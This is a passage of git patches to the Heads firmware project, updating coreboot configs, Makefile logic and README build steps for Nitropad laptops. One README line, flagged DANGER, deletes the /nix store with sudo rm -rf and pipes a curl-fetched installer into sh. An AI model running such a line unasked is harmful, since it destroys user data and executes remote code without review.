index 15b1527c5..98fea8020 100644 --- a/README.md +++ b/README.md @@ -39,6 +39,7 @@ Under QubesOS? Build docker from nix develop layer locally ==== +If you do not use Nix on a daily basis: ``` # DANGER: remove /nix store and recreates a fresh one. Skip if you use Nix already: sudo rm -rf /nix/* || echo "cannot delete /nix" && sh <(curl -L https://nixos.org/nix/install) --no-daemon @@ -47,14 +48,31 @@ mkdir -p ~/.config/nix echo 'experimental-features = nix-command flakes' >~/.config/nix/nix.conf # Source nix prior of anything else: . /home/user/.nix-profile/etc/profile.d/nix.sh -# END OF DANGER SECTION TO BE REVIEWED -# [...] +``` + +If you use Nix on a daily basis: +``` +# Make sure your nix setup supports both nix-command and flakes experimental features: +mkdir -p ~/.config/nix +echo 'experimental-features = nix-command flakes' >> ~/.config/nix/nix.conf +# Review ~/.config/nix/nix.conf for inconsistencies in your favorite editor (vim, vi, gedit etc) # Build nix developer local env with flakes locks to specified versions and exits just running "true" command: nix --print-build-logs --verbose develop --ignore-environment --command true # Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: nix build .#dockerImage && docker load < result ``` +Common steps to follow to build local doscker image from nix develop environment: +``` +# Build nix developer local env with flakes locks to specified versions and exits just running "true" command: +nix --print-build-logs --verbose develop --ignore-environment --command true +# Build docker image with current develop created environment (this will take a while and create "linuxboot/heads:dev-env" local docker image: +nix build .#dockerImage && docker load < result +``` + +Done! + +Your local docker image "linuxboot/heads:dev-env" is ready to use, reproducible for the specific Heads commit used and will produce ROMs reproducible for that Heads commit ID. Jump into nix develop created docker image for interactive workflow ===== @@ -81,6 +99,7 @@ Alternatively, you can use locally built docker image to build a board ROM image Eg: `docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=nitropad-nv41` + Pull docker hub image to prepare reproducible ROMs as CircleCI in one call ==== ``` From 6a64144e97286482b69dc21a25e03e986998bcad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Tue, 6 Feb 2024 17:01:35 +0100 Subject: [PATCH 119/619] modules/coreboot,config/coreboot-nitropad: Update to the newest revision MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Żygowski Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 10 ++++++++-- config/coreboot-nitropad-nv41.config | 10 ++++++++-- modules/coreboot | 2 +- 3 files changed, 17 insertions(+), 5 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index a6e90d957..1b545754a 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -159,8 +159,8 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_IFD_BIN_PATH="../nitrokey-blobs/nitropad-ns51/flashdescriptor-HAP.bin" -CONFIG_ME_BIN_PATH="../nitrokey-blobs/nitropad-ns51/me.bin" +CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" +CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_CARDBUS_PLUGIN_SUPPORT=y @@ -508,9 +508,15 @@ CONFIG_EC_SYSTEM76_EC=y # # Intel Firmware # +CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y # CONFIG_STITCH_ME_BIN is not set # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set +CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 5de5c4783..cdbe13929 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -159,8 +159,8 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_IFD_BIN_PATH="../nitrokey-blobs/nitropad-nv41/flashdescriptor-HAP.bin" -CONFIG_ME_BIN_PATH="../nitrokey-blobs/nitropad-nv41/me.bin" +CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" +CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_CARDBUS_PLUGIN_SUPPORT=y @@ -509,9 +509,15 @@ CONFIG_EC_SYSTEM76_EC_DGPU=y # # Intel Firmware # +CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y # CONFIG_STITCH_ME_BIN is not set # CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set +CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y diff --git a/modules/coreboot b/modules/coreboot index 718508e63..0715d06bd 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -91,7 +91,7 @@ $(eval $(call coreboot_module,purism,)) #Nitrokey nv41/ns50 are based on Dasharo coreboot port, # with patches staging under coreboot-clevo_release coreboot-nitrokey_repo := https://github.com/dasharo/coreboot -coreboot-nitrokey_commit_hash := 1bcb338682b612cfcca8bba02846f78139b2e0c8 +coreboot-nitrokey_commit_hash := a1787afa6b3bf4d3b201cfdbe2ef69623072afa5 coreboot-nitrokey_patch_version := clevo_release #We use clevo_release's crossgcc for now, unshared but between nitropad nv41/ns50 $(eval $(call coreboot_module,nitrokey,)) From 8e7e18920d34c024b4ae4f5633010596575f3be0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Tue, 6 Feb 2024 17:01:56 +0100 Subject: [PATCH 120/619] modules/nitrokey-blobs,boards/nitropad: Remove obsolete blobs module MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Żygowski Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 3 --- boards/nitropad-nv41/nitropad-nv41.config | 3 --- modules/coreboot | 1 - modules/nitrokey-blobs | 12 ------------ 4 files changed, 19 deletions(-) delete mode 100644 modules/nitrokey-blobs diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 8a165060f..29428dc62 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -7,9 +7,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-ns50.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config -#Enable blobs packed under coreboot at build time -CONFIG_NITROKEY_BLOBS=y - #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index 3a6d157cf..b1e96dbc7 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -7,9 +7,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-nv41.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config -#Enable blobs packed under coreboot at build time -CONFIG_NITROKEY_BLOBS=y - #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y diff --git a/modules/coreboot b/modules/coreboot index 0715d06bd..73b310fc6 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -110,7 +110,6 @@ coreboot_dir := $($(coreboot_module)_dir) coreboot_base_dir := $($(coreboot_module)_base_dir) $(coreboot_module)_depends += $(if $(CONFIG_PURISM_BLOBS), purism-blobs) -$(coreboot_module)_depends += $(if $(CONFIG_NITROKEY_BLOBS), nitrokey-blobs) # coreboot builds are specialized on a per-target basis. # The builds are done in a per-target subdirectory diff --git a/modules/nitrokey-blobs b/modules/nitrokey-blobs deleted file mode 100644 index eafef4004..000000000 --- a/modules/nitrokey-blobs +++ /dev/null @@ -1,12 +0,0 @@ -modules-$(CONFIG_NITROKEY_BLOBS) += nitrokey-blobs - -nitrokey-blobs_base_dir := nitrokey-blobs -nitrokey-blobs_version := b629bad31046ff2f5f363656326646fe2081d033 -nitrokey-blobs_tar := nitrokey-blobs-${nitrokey-blobs_version}.tar.gz -nitrokey-blobs_tar_opt := --strip 1 -nitrokey-blobs_url := https://github.com/Nitrokey/firmware-blobs/archive/${nitrokey-blobs_version}.tar.gz -nitrokey-blobs_hash := 73daf2180e3ffd070e9dc80c84ccd2573a24f636dc273e3d9fe81aefc7c5d425 - -## there is nothing to be built -nitrokey-blobs_output := .built -nitrokey-blobs_configure := echo -e 'all:\n\ttouch .built' > Makefile From c7dc6a8064ce0ec85fa5e4224423b1afecf01463 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Tue, 6 Feb 2024 17:33:52 +0100 Subject: [PATCH 121/619] patches: Remove obsolete patches for nitropad builds MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Żygowski Signed-off-by: Thierry Laurion --- modules/coreboot | 5 +---- .../0001-dasharo-hardcode-configurations.patch | 16 ---------------- .../0002-dasharo-hardcode-me.patch | 12 ------------ 3 files changed, 1 insertion(+), 32 deletions(-) delete mode 100644 patches/coreboot-nitrokey-clevo_release/0001-dasharo-hardcode-configurations.patch delete mode 100644 patches/coreboot-nitrokey-clevo_release/0002-dasharo-hardcode-me.patch diff --git a/modules/coreboot b/modules/coreboot index 73b310fc6..b4b737522 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -88,12 +88,9 @@ coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git coreboot-purism_commit_hash := 0d57cff58fba2f3a4d3a714a4eae65753e58c6ff $(eval $(call coreboot_module,purism,)) -#Nitrokey nv41/ns50 are based on Dasharo coreboot port, -# with patches staging under coreboot-clevo_release +#Nitrokey nv41/ns50 are based on Dasharo coreboot port coreboot-nitrokey_repo := https://github.com/dasharo/coreboot coreboot-nitrokey_commit_hash := a1787afa6b3bf4d3b201cfdbe2ef69623072afa5 -coreboot-nitrokey_patch_version := clevo_release -#We use clevo_release's crossgcc for now, unshared but between nitropad nv41/ns50 $(eval $(call coreboot_module,nitrokey,)) # Check that the board configured the coreboot version correctly diff --git a/patches/coreboot-nitrokey-clevo_release/0001-dasharo-hardcode-configurations.patch b/patches/coreboot-nitrokey-clevo_release/0001-dasharo-hardcode-configurations.patch deleted file mode 100644 index 5bc9754dc..000000000 --- a/patches/coreboot-nitrokey-clevo_release/0001-dasharo-hardcode-configurations.patch +++ /dev/null @@ -1,16 +0,0 @@ -diff -ur dasharo_cb.org/src/vendorcode/dasharo/options.c dasharo_cb/src/vendorcode/dasharo/options.c ---- dasharo_cb.org/src/vendorcode/dasharo/options.c 2023-12-18 21:57:46.915582991 +0100 -+++ dasharo_cb/src/vendorcode/dasharo/options.c 2023-12-19 19:16:13.077019389 +0100 -@@ -189,7 +189,12 @@ - - uint8_t get_sleep_type_option(void) - { -+ -+#if CONFIG(BOARD_NOVACUSTOM_NV4X_ADLP) -+ uint8_t sleep_type = SLEEP_TYPE_OPTION_S3; -+#else - uint8_t sleep_type = SLEEP_TYPE_OPTION_S0IX; -+#endif - - if (CONFIG(DRIVERS_EFI_VARIABLE_STORE)) - read_u8_var("SleepType", &sleep_type); diff --git a/patches/coreboot-nitrokey-clevo_release/0002-dasharo-hardcode-me.patch b/patches/coreboot-nitrokey-clevo_release/0002-dasharo-hardcode-me.patch deleted file mode 100644 index cb4a77868..000000000 --- a/patches/coreboot-nitrokey-clevo_release/0002-dasharo-hardcode-me.patch +++ /dev/null @@ -1,12 +0,0 @@ -diff -ur coreboot-nitrokey.org/src/vendorcode/dasharo/options.c coreboot-nitrokey/src/vendorcode/dasharo/options.c ---- coreboot-nitrokey.org/src/vendorcode/dasharo/options.c 2024-01-22 14:11:59.525612567 +0100 -+++ coreboot-nitrokey/src/vendorcode/dasharo/options.c 2024-01-22 14:12:07.535544365 +0100 -@@ -133,7 +133,7 @@ - if (CONFIG(DRIVERS_EFI_VARIABLE_STORE)) - read_u8_var("MeMode", &var); - -- return var; -+ return ME_MODE_DISABLE_HAP; - } - - bool is_smm_bwp_permitted(void) From acc8044766334757543772ce9516ea0523d873b9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Fri, 9 Feb 2024 10:50:33 +0100 Subject: [PATCH 122/619] modules/coreboot: Allow overriding LOCALVERSION and SMBIOS_PRODUCT_NAME MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Żygowski Signed-off-by: Thierry Laurion --- modules/coreboot | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index b4b737522..7967696a9 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -111,6 +111,8 @@ $(coreboot_module)_depends += $(if $(CONFIG_PURISM_BLOBS), purism-blobs) # coreboot builds are specialized on a per-target basis. # The builds are done in a per-target subdirectory CONFIG_COREBOOT_CONFIG ?= config/coreboot-$(BOARD).config +CONFIG_COREBOOT_LOCALVERSION ?= $(BRAND_NAME)-$(HEADS_GIT_VERSION) +CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) # Ensure that touching the config file will force a rebuild $(build)/$(coreboot_dir)/.configured: $(CONFIG_COREBOOT_CONFIG) @@ -135,8 +137,8 @@ endif $(coreboot_module)_configure := \ mkdir -p "$(build)/$(coreboot_dir)" \ && $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config) \ - && echo 'CONFIG_LOCALVERSION="$(BRAND_NAME)-$(HEADS_GIT_VERSION)"' >> $(build)/$(coreboot_dir)/.config \ - && echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(BOARD)"' >> $(build)/$(coreboot_dir)/.config \ + && echo 'CONFIG_LOCALVERSION="$(CONFIG_COREBOOT_LOCALVERSION)"' >> $(build)/$(coreboot_dir)/.config \ + && echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME)"' >> $(build)/$(coreboot_dir)/.config \ && $(MAKE) olddefconfig \ -C "$(build)/$(coreboot_base_dir)" \ obj="$(build)/$(coreboot_dir)" \ From 3102666c91c985cdca3482eac6bb1a8daf5607d4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Mon, 12 Feb 2024 18:19:20 +0100 Subject: [PATCH 123/619] coreboot-nitropad-nv41.config: disable RESOURCE_ALLOCATION_TOP_DOWN MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Also disable bootsplash resizing to center the logo in the middle of the screen. Signed-off-by: Michał Kopeć Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-nv41.config | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index cdbe13929..3cea462c3 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -39,8 +39,7 @@ CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 -CONFIG_BOOTSPLASH_CONVERT_RESIZE=y -CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1920x1080" +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set @@ -593,7 +592,7 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set # end of Devices # From 3cfa4e91aed9dcabbedbcec85be3fc1535a9ebaf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Tue, 13 Feb 2024 15:21:49 +0100 Subject: [PATCH 124/619] Allow overriding DMI manufacturer name MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć Signed-off-by: Thierry Laurion --- modules/coreboot | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index 7967696a9..21579c7fe 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,7 +98,7 @@ ifeq "$(CONFIG_COREBOOT_VERSION)" "" $(error "$(BOARD): does not specify coreboot version under CONFIG_COREBOOT_VERSION") else ifeq "$(coreboot-$(CONFIG_COREBOOT_VERSION)_dir)" "" $(error "$(BOARD): coreboot version $(CONFIG_COREBOOT_VERSION) not known") -endif +endif coreboot_module := coreboot-$(CONFIG_COREBOOT_VERSION) modules-y += $(coreboot_module) @@ -113,6 +113,7 @@ $(coreboot_module)_depends += $(if $(CONFIG_PURISM_BLOBS), purism-blobs) CONFIG_COREBOOT_CONFIG ?= config/coreboot-$(BOARD).config CONFIG_COREBOOT_LOCALVERSION ?= $(BRAND_NAME)-$(HEADS_GIT_VERSION) CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) +CONFIG_COREBOOT_SMBIOS_MANUFACTURER ?= $(BRAND_NAME) # Ensure that touching the config file will force a rebuild $(build)/$(coreboot_dir)/.configured: $(CONFIG_COREBOOT_CONFIG) @@ -139,6 +140,7 @@ $(coreboot_module)_configure := \ && $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config) \ && echo 'CONFIG_LOCALVERSION="$(CONFIG_COREBOOT_LOCALVERSION)"' >> $(build)/$(coreboot_dir)/.config \ && echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME)"' >> $(build)/$(coreboot_dir)/.config \ + && echo 'CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)"' >> $(build)/$(coreboot_dir)/.config \ && $(MAKE) olddefconfig \ -C "$(build)/$(coreboot_base_dir)" \ obj="$(build)/$(coreboot_dir)" \ @@ -247,7 +249,7 @@ coreboot.save_in_defconfig_format_in_place: DOTCONFIG="$(build)/$(coreboot_dir)/.config" \ savedefconfig && \ mv "$(build)/$(coreboot_base_dir)/defconfig" "$(pwd)/$(CONFIG_COREBOOT_CONFIG)" - + coreboot.save_in_oldconfig_format_in_place: mkdir -p "$(build)/$(coreboot_dir)" && \ cp "$(pwd)/$(CONFIG_COREBOOT_CONFIG)" "$(build)/$(coreboot_dir)/.config" && \ From 1eef518daa92d81ee5368ae1ed6262936d93426e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Tue, 13 Feb 2024 17:29:46 +0100 Subject: [PATCH 125/619] modules/coreboot: don't touch DMI vendor name if unspecified MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć Signed-off-by: Thierry Laurion --- modules/coreboot | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index 21579c7fe..3f11e772a 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -113,7 +113,6 @@ $(coreboot_module)_depends += $(if $(CONFIG_PURISM_BLOBS), purism-blobs) CONFIG_COREBOOT_CONFIG ?= config/coreboot-$(BOARD).config CONFIG_COREBOOT_LOCALVERSION ?= $(BRAND_NAME)-$(HEADS_GIT_VERSION) CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) -CONFIG_COREBOOT_SMBIOS_MANUFACTURER ?= $(BRAND_NAME) # Ensure that touching the config file will force a rebuild $(build)/$(coreboot_dir)/.configured: $(CONFIG_COREBOOT_CONFIG) @@ -136,12 +135,14 @@ else endif $(coreboot_module)_configure := \ - mkdir -p "$(build)/$(coreboot_dir)" \ - && $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config) \ - && echo 'CONFIG_LOCALVERSION="$(CONFIG_COREBOOT_LOCALVERSION)"' >> $(build)/$(coreboot_dir)/.config \ - && echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME)"' >> $(build)/$(coreboot_dir)/.config \ - && echo 'CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)"' >> $(build)/$(coreboot_dir)/.config \ - && $(MAKE) olddefconfig \ + mkdir -p "$(build)/$(coreboot_dir)"; \ + $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config); \ + echo 'CONFIG_LOCALVERSION="$(CONFIG_COREBOOT_LOCALVERSION)"' >> $(build)/$(coreboot_dir)/.config; \ + echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME)"' >> $(build)/$(coreboot_dir)/.config; \ + if [ ! -z "$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)" ]; then \ + echo 'CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)"' >> $(build)/$(coreboot_dir)/.config; \ + fi; \ + $(MAKE) olddefconfig \ -C "$(build)/$(coreboot_base_dir)" \ obj="$(build)/$(coreboot_dir)" \ DOTCONFIG="$(build)/$(coreboot_dir)/.config" \ From 83f96aae5c2ed9edabbd54898f5bda0c4f6f728f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Fri, 16 Feb 2024 14:01:09 +0100 Subject: [PATCH 126/619] modules/coreboot: Remove the lines with config values before overriding them MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Żygowski Signed-off-by: Thierry Laurion --- modules/coreboot | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/coreboot b/modules/coreboot index 3f11e772a..1d4afa571 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -137,9 +137,12 @@ endif $(coreboot_module)_configure := \ mkdir -p "$(build)/$(coreboot_dir)"; \ $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config); \ + sed -i '/^CONFIG_LOCALVERSION/d' $(build)/$(coreboot_dir)/.config; \ echo 'CONFIG_LOCALVERSION="$(CONFIG_COREBOOT_LOCALVERSION)"' >> $(build)/$(coreboot_dir)/.config; \ + sed -i '/^CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME/d' $(build)/$(coreboot_dir)/.config; \ echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME)"' >> $(build)/$(coreboot_dir)/.config; \ if [ ! -z "$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)" ]; then \ + sed -i '/^CONFIG_MAINBOARD_SMBIOS_MANUFACTURER/d' $(build)/$(coreboot_dir)/.config; \ echo 'CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)"' >> $(build)/$(coreboot_dir)/.config; \ fi; \ $(MAKE) olddefconfig \ From 23976461d81b973896f15fa8b5d810fb95bd7ee4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Fri, 16 Feb 2024 15:25:54 +0100 Subject: [PATCH 127/619] modules/coreboot: Avoid double quotes in LOCALVERSION MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Żygowski Signed-off-by: Thierry Laurion --- modules/coreboot | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index 1d4afa571..5e965d484 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -111,7 +111,7 @@ $(coreboot_module)_depends += $(if $(CONFIG_PURISM_BLOBS), purism-blobs) # coreboot builds are specialized on a per-target basis. # The builds are done in a per-target subdirectory CONFIG_COREBOOT_CONFIG ?= config/coreboot-$(BOARD).config -CONFIG_COREBOOT_LOCALVERSION ?= $(BRAND_NAME)-$(HEADS_GIT_VERSION) +CONFIG_COREBOOT_LOCALVERSION ?= "$(BRAND_NAME)-$(HEADS_GIT_VERSION)" CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) # Ensure that touching the config file will force a rebuild @@ -138,7 +138,7 @@ $(coreboot_module)_configure := \ mkdir -p "$(build)/$(coreboot_dir)"; \ $(call install_config,$(pwd)/$(CONFIG_COREBOOT_CONFIG),$(build)/$(coreboot_dir)/.config); \ sed -i '/^CONFIG_LOCALVERSION/d' $(build)/$(coreboot_dir)/.config; \ - echo 'CONFIG_LOCALVERSION="$(CONFIG_COREBOOT_LOCALVERSION)"' >> $(build)/$(coreboot_dir)/.config; \ + echo 'CONFIG_LOCALVERSION=$(CONFIG_COREBOOT_LOCALVERSION)' >> $(build)/$(coreboot_dir)/.config; \ sed -i '/^CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME/d' $(build)/$(coreboot_dir)/.config; \ echo 'CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="$(CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME)"' >> $(build)/$(coreboot_dir)/.config; \ if [ ! -z "$(CONFIG_COREBOOT_SMBIOS_MANUFACTURER)" ]; then \ From 7e31b204e13fb80dc956222345a8c47161586178 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 5 May 2024 11:25:46 -0400 Subject: [PATCH 128/619] nv41/ns50 coreboot config: make sure everything is saved with make BOARD=nitropad-n*** coreboot.modify_and_save_oldconfig_in_place Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 18 ++++++++++++++++-- config/coreboot-nitropad-nv41.config | 16 +++++++++++++++- 2 files changed, 31 insertions(+), 3 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 1b545754a..90759c4cb 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -215,7 +215,7 @@ CONFIG_ROM_SIZE=0x02000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +#CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard @@ -521,6 +521,20 @@ CONFIG_INTEL_ME_DEFAULT_STATE=2 # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y CONFIG_BIOS_VENDOR="3mdeb" + +# +# =================================== Dasharo ==================================== +# + +# +# Dasharo Configuration +# +CONFIG_DASHARO_PREFER_S3_SLEEP=y +# end of Dasharo Configuration + +# +# ================================================================================ +# CONFIG_UDK_BASE=y CONFIG_UDK_202005_BINDING=y CONFIG_UDK_2013_VERSION=2013 @@ -692,7 +706,7 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set +# CONFIG_TPM1 is not set CONFIG_TPM2=y CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM2=y diff --git 